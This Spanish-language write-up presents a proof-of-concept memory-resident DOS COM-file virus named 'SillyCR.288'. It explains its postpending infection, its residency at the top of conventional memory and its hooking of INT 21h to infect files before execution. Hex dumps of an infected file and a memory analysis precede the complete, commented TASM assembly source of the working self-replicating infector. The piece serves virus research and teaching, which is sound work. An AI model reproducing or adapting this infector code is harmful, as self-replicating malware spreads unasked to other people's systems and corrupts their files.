Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por postpending (adición posterior) en archivos COM. El virus permanece residente ocultándose en el tope de memoria convencional con un bloque de memoria reservado. Intercepta los servicios I/O de DOS para infectar archivos antes de ser ejecutados.

Método de infección

Durante la infección, el virus reemplaza los primeros bytes del archivo huésped (cabezal original) con una instrucción JMP (cabezal viral) que dirige el flujo de ejecución hacia el final del archivo donde se añade el cuerpo viral. El cabezal original reemplazado es guardado en el cuerpo viral.

Cuando un archivo infectado es ejecutado, el virus se carga en memoria junto con este y se ejecuta primero realizando sus propias acciones, al terminar restaura el cabezal original en el offset CS:0100 (dirección de memoria donde se cargan los archivos COM en DOS) y salta hacia dicho offset para permitirle al huésped su ejecución normal. Esto último dificulta la detección por parte del usuario.

El cabezal viral contiene además una firma, el byte 'V', utilizada para reconocimiento de archivos ya infectados.

La primer generación del virus es diferente a las siguientes. La primera no tiene cabezal viral, ya que no está adherida a un huésped. Las siguientes generaciones al estar adheridas a un huésped se diferencian por tener cabezal y cuerpo viral.

Como resultado de la infección:

  • Los archivos infectados ocuparán más espacio al contener el código viral. Con técnicas de stealth esta información se puede ocultar del usuario para dificultar su detección.
  • Los archivos infectados tendrán un tiempo de ejecución mayor al incluir la pre ejecución del virus.

Residencia en memoria

El virus permanece residente ocultandose en el tope de memoria convencional (por debajo de 640KB - segmento A000). Para esto reduce la cantidad de memoria asignada al archivo huésped dejando suficiente espacio libre para un bloque de memoria con el código viral y su MCB correspondiente, luego reserva dicho bloque y establece a DOS como su dueño para que no sea liberado al finalizar la ejecucion del huésped. Durante la infección, el virus reconoce si ya se encuentra residente mediante un servicio propio en la interrupción 21h.

Método de propagación

El virus modifica el handler original de la interrupción 21h cambiando el vector del handler en la IVT (Interrupt Vector Table) para interceptar las llamadas a los servicios I/O de DOS. Esto tiene dos objetivos:

  • Proveer un servicio de reconocimiento propio para saber si ya se encuentra residente en memoria.
  • Detectar las ejecuciones de archivos en el sistema para infectarlos antes de que estos se ejecuten.

Otros detalles

  • Se utiliza una técnica básica para calcular el $\Delta$ offset, este es el posicionamiento relativo del virus en el archivo infectado. Esta técnica es detectada por cualquier anti-virus decente.
  • El virus no verifica que el tamaño del archivo COM sea adecuado para la infección. Si luego de la infección el tamaño total supera los 64KB, ya no es un archivo COM válido.

Flujo de ejecución

Al ejecutarse un archivo infectado, el virus se hace residente en memoria y modifica la IVT:

Cuando el virus ya es residente en memoria, intercepta todas las llamadas a la interrupción 21h:

Análisis estático

Hex dump de un archivo sano de tamaño 80 bytes:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B4 09 BA 39 01 CD 21 90  ´.º9.Í!.
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$

Hex dump del archivo infectado:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  E9 4D 00 56 01 CD 21 90  éM.V.Í!.  Cabezal viral
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$
0x0050  E8 00 00 5D 81 ED 0B 01  è..].í..  Cuerpo viral
0x0058  B8 CD AB CD 21 3D 9A 02  ¸Í«Í!=š.
0x0060  74 4D B4 4A BB FF FF CD  tM´J»ÿÿÍ
0x0068  21 B4 4A 83 EB 14 CD 21  !´Jƒë.Í!
0x0070  B4 48 BB 13 00 CD 21 48  ´H»..Í!H
0x0078  8E C0 26 C6 06 00 00 5A  ŽÀ&Æ...Z
0x0080  26 C7 06 01 00 08 00 8D  &Ç......
0x0088  B6 08 01 40 8E C0 BF 00  ¶..@ŽÀ¿.
0x0090  00 B9 20 01 F3 A4 8E D8  .¹ .ó¤ŽØ
0x0098  B4 35 B0 21 CD 21 89 1E  ´5°!Í!‰.
0x00A0  18 01 8C 06 1A 01 B4 25  ..Œ...´%
0x00A8  B0 21 BA 76 00 CD 21 8C  °!ºv.Í!Œ
0x00B0  C8 8E D8 8E C0 B9 04 00  ÈŽØŽÀ¹..
0x00B8  8D B6 24 02 BF 00 01 F3  .¶$.¿..ó
0x00C0  A4 B8 00 01 FF E0 3D CD  ¤¸..ÿà=Í
0x00C8  AB 74 08 3D 00 4B 74 07  «t.=.Kt.
0x00D0  E9 94 00 B8 9A 02 CF 9C  é”.¸š.Ïœ
0x00D8  50 53 51 52 56 1E 8B F2  PSQRV.‹ò
0x00E0  AC 0A C0 74 13 3C 2E 75  ¬.Àt.<.u
0x00E8  F7 AC 3C 43 75 0A AC 3C  ÷¬<Cu.¬<
0x00F0  4F 75 05 AC 3C 4D 74 02  Ou.¬<Mt.
0x00F8  EB 62 B4 3D B0 02 CD 21  ëb´=°.Í!
0x0100  72 5E 93 0E 1F B4 3F BA  r^“..´?º
0x0108  1C 01 B9 04 00 CD 21 72  ..¹..Í!r
0x0110  4B 80 3E 1F 01 56 74 44  K€>..VtD
0x0118  B4 42 B0 02 33 C9 33 D2  ´B°.3É3Ò
0x0120  CD 21 72 38 A3 20 01 B4  Í!r8£ .´
0x0128  40 B9 20 01 BA 00 00 CD  @¹ .º..Í
0x0130  21 72 29 A1 20 01 2D 03  !r)¡ .-.
0x0138  00 C6 06 22 01 E9 A3 23  .Æ.".é£#
0x0140  01 C6 06 25 01 56 B4 42  .Æ.%.V´B
0x0148  B0 00 33 C9 33 D2 CD 21  °.3É3ÒÍ!
0x0150  72 0A B4 40 B9 04 00 BA  r.´@¹..º
0x0158  22 01 CD 21 B4 3E CD 21  ".Í!´>Í!
0x0160  1F 5E 5A 59 5B 58 9D EA  .^ZY[X.ê
0x0168  A0 14 00 F0 B4 09 BA 39   ..ð´.º9  Cabezal original

Análisis dinámico

Se considera un archivo infectado VTEST.COM en un ambiente MS-DOS 6.22, Microsoft Virtual PC 6.0 con VM Additions.

Uso de memoria

Antes de la infección
Resultado de MEM /C:

Name           Total       =   Conventional   +   Upper Memory
  --------  ----------------   ----------------   ----------------
  MSDOS       16,157   (16K)     16,157   (16K)          0    (0K)
  SETVER         480    (0K)        480    (0K)          0    (0K)
  HIMEM        1,120    (1K)      1,120    (1K)          0    (0K)
  DISPLAY      8,304    (8K)      8,304    (8K)          0    (0K)
  CDROM        4,224    (4K)      4,224    (4K)          0    (0K)
  COMMAND      2,928    (3K)      2,928    (3K)          0    (0K)
  SMARTDRV    29,024   (28K)     29,024   (28K)          0    (0K)
  KEYB         6,944    (7K)      6,944    (7K)          0    (0K)
  FSHARE      26,576   (26K)     26,576   (26K)          0    (0K)
  IDLE           528    (1K)        528    (1K)          0    (0K)
  MSCDEX      32,096   (31K)     32,096   (31K)          0    (0K)
  MOUSE        8,880    (9K)      8,880    (9K)          0    (0K)
  Free       516,976  (505K)    516,976  (505K)          0    (0K)

Memory Summary:
  Type of Memory       Total   =    Used    +    Free
  ----------------  ----------   ----------   ----------
  Conventional         654,336      137,360      516,976
  Upper                      0            0            0
  Reserved                   0            0            0
  Extended (XMS)    15,663,104    2,162,688   13,500,416
  ----------------  ----------   ----------   ----------
  Total memory      16,317,440    2,300,048   14,017,392
  Total under 1 MB     654,336      137,360      516,976

Después de la infección
Resultado de MEM /C:

Name           Total       =   Conventional   +   Upper Memory
  --------  ----------------   ----------------   ----------------
  MSDOS       16,477   (16K)     16,477   (16K)          0    (0K)
  SETVER         480    (0K)        480    (0K)          0    (0K)
  HIMEM        1,120    (1K)      1,120    (1K)          0    (0K)
  DISPLAY      8,304    (8K)      8,304    (8K)          0    (0K)
  CDROM        4,224    (4K)      4,224    (4K)          0    (0K)
  COMMAND      2,928    (3K)      2,928    (3K)          0    (0K)
  SMARTDRV    29,024   (28K)     29,024   (28K)          0    (0K)
  KEYB         6,944    (7K)      6,944    (7K)          0    (0K)
  FSHARE      26,576   (26K)     26,576   (26K)          0    (0K)
  IDLE           528    (1K)        528    (1K)          0    (0K)
  MSCDEX      32,096   (31K)     32,096   (31K)          0    (0K)
  MOUSE        8,880    (9K)      8,880    (9K)          0    (0K)
  Free       516,656  (505K)    516,656  (505K)          0    (0K)

Memory Summary:
  Type of Memory       Total   =    Used    +    Free
  ----------------  ----------   ----------   ----------
  Conventional         654,336      137,680      516,656
  Upper                      0            0            0
  Reserved                   0            0            0
  Extended (XMS)    15,663,104    2,162,688   13,500,416
  ----------------  ----------   ----------   ----------
  Total memory      16,317,440    2,300,368   14,017,072
  Total under 1 MB     654,336      137,680      516,656

No se observan nuevos modulos. Pero disminuye la cantidad de memoria convencional libre en 320 bytes.

Información de MCBs en memoria:

 No.  Address     Size   Id   Owner 
===================================================
  0.     0000     1024        INTERRUPT TABLE 
  1.     0253    20608        DOS PARAMETERS BLOCK 
  2.     075C       64        DOS DATA 
  3.     0761     2640    P   COMMAND.COM ( COPY 1 )
  4.     0807       64        This block is free
  5.     080C      256    E   COMMAND.COM ( COPY 1 )
  6.     081D       80        This block is free
  7.     0823    29008    P   UNKNOWN
  8.     0F39     6928    P   UNKNOWN
  9.     10EB      112    E   C:\VMADD\FSHARE.EXE 
 10.     10F3    26432    P   C:\VMADD\FSHARE.EXE
 11.     1768      112    E   C:\VMADD\IDLE.COM 
 12.     1770    32080    P   UNKNOWN
 13.     1F46      384    P   C:\VMADD\IDLE.COM 
 14.     1F5F      112    E   C:\VMADD\MOUSE.COM 
 15.     1F67     8736    P   C:\VMADD\MOUSE.COM 
 16.     218A   516624        This block is free 
 17.     9FAC      304    E   Last MCB ends at 9FC0

Hay un nuevo MCB en 9FAC que reserva un bloque de 304 bytes. Este bloque se encuentra en el tope de memoria convencional.

El código viral tiene en memoria un tamaño de 294 B (288 B de código + 6 B reservados para datos), pero por el alineamiento en párrafos (16 B) el próximo múltiplo de 16 es $\lceil\frac{294}{16}\rceil \times 16 = 304 B$. Además, el bloque tiene un MCB correspondiente de 16 B, por lo tanto el virus tiene un tamaño total de 320 B.

Handler de 21h

La IVT ocupa los primeros 1024 bytes de memoria RAM, segmento 0000. El vector de la interrupción 21h es la dirección de memoria del handler en forma de 4 bytes segmento:offset, este se encuentra en el offset 84h de la IVT.

Antes de la infección Hex dump de los 4 bytes del vector 21h:

-D 0000:0084 L4                                  
0000:0080              E1 20 04 11

El handler original de 21h se encuentra en 1104:20E1.

Después de la infección Hex dump de los 4 bytes del vector 21h:

-D 0000:0084 L4
0000:0080              76 00 AD 9F

El vector ya no es el mismo.

Desensamblado del handler referenciado por el nuevo vector:

-U 9FAD:0076 
9FAD:0076 3DCDAB       CMP    AX,ABCD     ; inicio del handler viral
9FAD:0079 7408         JZ     0083                               
9FAD:007B 3D004B       CMP    AX,4B00                            
9FAD:007E 7407         JZ     0087                               
9FAD:0080 E99400       JMP    0117                               
9FAD:0083 B89A02       MOV    AX,029A                            
9FAD:0086 CF           IRET                                    
9FAD:0087 9C           PUSHF                                     
9FAD:0088 50           PUSH   AX                                 
9FAD:0089 53           PUSH   BX                                 
9FAD:008A 51           PUSH   CX                                 
9FAD:008B 52           PUSH   DX                                 
9FAD:008C 56           PUSH   SI                                 
9FAD:008D 1E           PUSH   DS                                 
9FAD:008E 8BF2         MOV    SI,DX                              
9FAD:0090 AC           LODSB                                     
9FAD:0091 0AC0         OR     AL,AL                              
9FAD:0093 7413         JZ     00A8                               
9FAD:0095 3C2E         CMP    AL,2E                                      

API utilizada

Se utilizan 10 servicios de la DOS API mediante la interrupción de software 21h.

Servicio AH Parámetros Retorno Versión DOS
Terminar programa 00h - - 1+
Establecer vector en IVT 25h AL = número de interrupción DS:DX = puntero al nuevo handler de la interrupción 2+
Obtener vector de IVT 35h AL = número de interrupción ES:BX = puntero al handler de la interrupción 2+
Abrir archivo existente 3Dh AL = modos de acceso e intercambio
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, AX = handle del archivo
Error: CF = 1, AX = código de error
2+
Cerrar archivo 3Eh BX = handle del archivo Éxito: CF = 0, AX destruido
Error: CF = 1, AX = código de error
2+
Lectura de archivo
o dispositivo
3Fh BX = handle del archivo
CX = nro. de bytes
DS:DX -> offset donde guardar datos
Éxito: CF = 0, AX = nro. de bytes transferidos
Error: CF = 1, AX = código de error
2+
Escribir en archivo
o dispositivo
40h BX = handle del archivo
CX = nro. de bytes
DS:DX -> datos a escribir
Éxito: CF = 0, AX = nro. de bytes escritos
Error: CF = 1, AX = código de error
2+
Establecer puntero de archivo 42h AL = código de desplazamiento
BX = handle del archivo
CX = mitad mayor de desplazamiento
DX = mitad menor de desplazamiento
Éxito: CF = 0, CX = mitad mayor, DX = mitad menor
Error: CF = 1, AX = código de error
2+
Asignar memoria 48h BX = tamaño de bloque, en párrafos Éxito: CF = 0, AX = segmento de bloque creado
Error: CF = 1, AX = código de error, BX = cantidad máxima disponible
2+
Modificar asignación de memoria 4Ah ES = segmento de bloque a modificar
BX = nuevo tamaño de bloque
Éxito: CF = 0
Error: CF = 1, AX = código de error, BX = cantidad máxima disponible
2+

Código fuente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
;##############################################################################
;# Nombre:        virus://DOS/SillyCR.288
;# Plataforma:    Intel x86
;# SO:            DOS v2.0+
;# Lenguaje:      ASM x86-16 (sintaxis Intel)
;# Herramientas:  TASM v4.1, TLINK v7.1.30
;# Tipo:          Postpending, Resident, COM infector
;# Tamaño:        288 bytes
;# Propagación:   En archivos COM antes de ser ejecutados (INT 21h - AH=4B).
;# Infección:     Postpending en archivos COM (no READ-ONLY).
;# Residente:     Si. En el tope de memoria convencional (0-640KB).
;# Stealth:       No
;# Payload:       No
;##############################################################################

.8086
.model tiny

assume cs:virus, ds:virus

V_OFFSET equ 0 - 100h - 8                            ; offset base para direccionamiento en el segmento viral 

virus segment byte public 'CODE'

    org 100h

start:    
    jmp short body                                   ; cabezal, en las siguientes generaciones aquí
    nop                                              ; habrá un near JMP de 3 bytes
    db  'V'                                          ; firma viral

    mov ah, 00h                                      ; / huésped dummy, solo retorna a DOS
    int 21h                                          ; \

body:    
    call d_offset                                    ; calcular delta offset

d_offset:    
    pop bp
    sub bp, offset d_offset              
    
    mov ax, 0ABCDh                                   ; | AX = 0ABCDh
    int 21h                                          ; |_DOS API - Llamar servicio de reconocimiento del virus
    
    cmp ax, 029Ah                                    ; verificar código de respuesta
    je  run_host                                     ; si es 666 (29Ah), ejecutar huésped
    
    mov ah, 4Ah                                      ; | AH = 4Ah
    mov bx, 0FFFFh                                   ; | BX = cantidad ridícula de memoria
    int 21h                                          ; |_DOS API - Modificar asignación de memoria
                                                     ;             BX = cantidad máxima disponible
 
    mov ah, 4Ah                                      ; | AH = 4Ah
    sub bx, ((ALLOC_SIZE + 15) / 16) + 1             ; | BX = BX menos la memoria que requiere el virus + 1, en párrafos
    int 21h                                          ; |_DOS API - Modificar asignación de memoria                                            

    mov ah, 48h                                      ; | AH = 48h
    mov bx, (ALLOC_SIZE + 15) / 16                   ; | BX = la memoria que requiere el virus, en párrafos
    int 21h                                          ; |_DOS API - Asignar memoria

    dec ax
    mov es, ax                                       ; ES = MCB del segmento viral
    mov byte ptr es:[0000], 'Z'                      ; marcar como fin de la cadena de bloques
    mov word ptr es:[0001], 0008                     ; establecer DOS como dueño del bloque

    lea si, [bp + body]                              ; origen: inicio del código viral en archivo
    inc ax
    mov es, ax                                       ; ES = segmento viral
    mov di, 0                                        ; destino: inicio del código en segmento viral
    mov cx, VIRUS_SIZE                               ; tamaño del virus
    rep movsb                                        ; copiar virus de origen a destino

    mov ds, ax                                       ; DS = segmento viral                         
    mov ah, 35h                                      ; | AH = 35h
    mov al, 21h                                      ; | AL = número de interrupción, 21h
    int 21h                                          ; |_DOS API - Obtener vector en ES:BX

    mov ds:[V_OFFSET + vector_int21], bx             ; guardar vector original de INT 21h
    mov ds:[V_OFFSET + vector_int21 + 2], es
    mov ah, 25h                                      ; | AH = 25h
    mov al, 21h                                      ; | AL = número de interrupción, 21h
    mov dx, V_OFFSET + offset handler_int21h         ; | DS:DX -> dirección del nuevo handler: handler_int21h
    int 21h                                          ; |_DOS API - Cambiar vector                                   

run_host:    
    mov ax, cs
    mov ds, ax                                       ; restaurar DS
    mov es, ax                                       ; restaurar ES
    mov cx, 4
    lea si, [bp + host_head]
    mov di, 100h
    rep movsb                                        ; restaurar cabezal original
    mov ax, 100h
    jmp ax                                           ; saltar a CS:100 y ejecutar huésped  

handler_int21h:    
    cmp ax, 0ABCDh                                   ; llamada de reconocimiento del virus:
    je service_ABCD                                  ;   responder y retornar
    cmp ax, 4B00h                                    ; llamada para ejecutar archivo:
    je infect_file                                   ;   infectar y delegar
    jmp handler_old                                  ; en otro caso, delegar al handler original de INT 21h 

service_ABCD:    
    mov ax, 029Ah                                    ; código de respuesta: 666 (29Ah)
    iret                                             ; retornar de la interrupción

infect_file:    
    pushf                                            ; guardar estado CPU
    push ax                                          ; guardar registros que serán utilizados
    push bx
    push cx
    push dx
    push si
    push ds
                                                     ; por la llamada AX=4B00h, DS:DX apunta al nombre del archivo
    mov si, dx                                       ; verificar que sea extensión ".COM"

loop_str:    
    lodsb
    or al, al
    jz check_fail
    cmp al, '.'
    jne loop_str
    lodsb
    cmp al, 'C'
    jne check_fail
    lodsb
    cmp al, 'O'
    jne check_fail
    lodsb
    cmp al, 'M'
    je check_ok
    
check_fail:    
    jmp close_file

check_ok:    
    mov ah, 3Dh                                      ; | AH = 3Dh
    mov al, 2                                        ; | AL = 2, lectura y escritura
    int 21h                                          ; |_DOS API &#8211; Abrir archivo existente        

    jc exit                                          ; si no se puede abrir archivo, restaurar y delegar
    xchg ax, bx                                      ; handle de archivo en BX
    push cs
    pop ds                                           ; MOV DS, CS
    mov ah, 3Fh                                      ; | AH = 3Fh
    mov dx, V_OFFSET + offset host_head              ; | DS:DX -> destino: buffer para cabezal original
    mov cx, 4                                        ; | CX = tamaño del cabezal, 4 bytes
    int 21h                                          ; |_DOS API - Leer de archivo/dispositivo

    jc close_file                                    ; no se puede leer el archivo, cerrarlo

    cmp byte ptr ds:[V_OFFSET + host_head + 3], 'V'  ; comparar 4to byte con la firma viral 'V'
    je close_file                                    ; si el archivo ya esta marcado, cerrarlo

    mov ah, 42h                                      ;| AH = 42h
    mov al, 2                                        ;| AL = 2, fin del archivo
    xor cx, cx                                       ;| CX = 0
    xor dx, dx                                       ;| DX = 0
    int 21h                                          ;|_DOS API - Establecer puntero en archivo  

    jc close_file                                    ; no se puede trabajar con el archivo, cerrarlo
                     
    mov ds:[V_OFFSET + file_size], ax
    mov ah, 40h                                      ; | AH = 40h
    mov cx, VIRUS_SIZE                               ; | CX = tamaño del virus
    mov dx, 0                                        ; | DS:DX -> origen: inicio del código viral
    int 21h                                          ; |_DOS API - Escribir en archivo/dispositivo  

    jc close_file                                    ; no se puede trabajar con el archivo, cerrarlo

    mov ax, ds:[V_OFFSET + file_size]                ; calcular el largo del JMP para el cabezal viral
    sub ax, 3                                        ; restarle 3 bytes del near JMP
    mov byte ptr ds:[V_OFFSET + tmp_head], 0E9h      ; construir cabezal viral en buffer temporal (E9h = near JMP)
    mov word ptr ds:[V_OFFSET + tmp_head + 1], ax
    mov byte ptr ds:[V_OFFSET + tmp_head + 3], 'V'      

    mov ah, 42h                                      ; | AH = 42h
    mov al, 0                                        ; | AL = 0, principio del archivo
    xor cx, cx                                       ; | CX = 0
    xor dx, dx                                       ; | DX = 0
    int 21h                                          ; |_DOS API - Establecer puntero en archivo   
    
    jc close_file                                    ; no se puede trabajar con el archivo, cerrarlo

    mov ah, 40h                                      ; | AH = 40h
    mov cx, 4                                        ; | CX = tamaño del cabezal, 4 bytes
    mov dx, V_OFFSET + offset tmp_head               ; | DS:DX -> origen: buffer temporal para cabezal viral
    int 21h                                          ; |_DOS API - Escribir en archivo/dispositivo                                   

close_file:    
    mov ah, 3Eh                                      ; | AH = 3Eh
    int 21h                                          ; |_DOS API - Cerrar archivo                      

exit:    
    pop ds                                           ; restaurar registros y estado CPU
    pop si
    pop dx
    pop cx
    pop bx
    pop ax
    popf

handler_old:    
    db 0EAh                                          ; JMP FAR

vector_int21    dw   ?, ?                            ; vector original de INT 21h (4 bytes)
host_head       db   90h, 90h, 90h, 90h              ; buffer para cabezal original
VIRUS_SIZE      equ  ($ - body)                      ; tamaño del virus
file_size       dw   ?                               ; buffer temporal para tamaño del huésped
tmp_head        db   4 dup (?)                       ; buffer temporal para cabezal viral
ALLOC_SIZE      equ  ($ - body)                      ; espacio a reservar para el virus   

virus ends
end start

Bibliografía

  1. Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
  2. Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
  3. Phalcon-Skism. 40-Hex.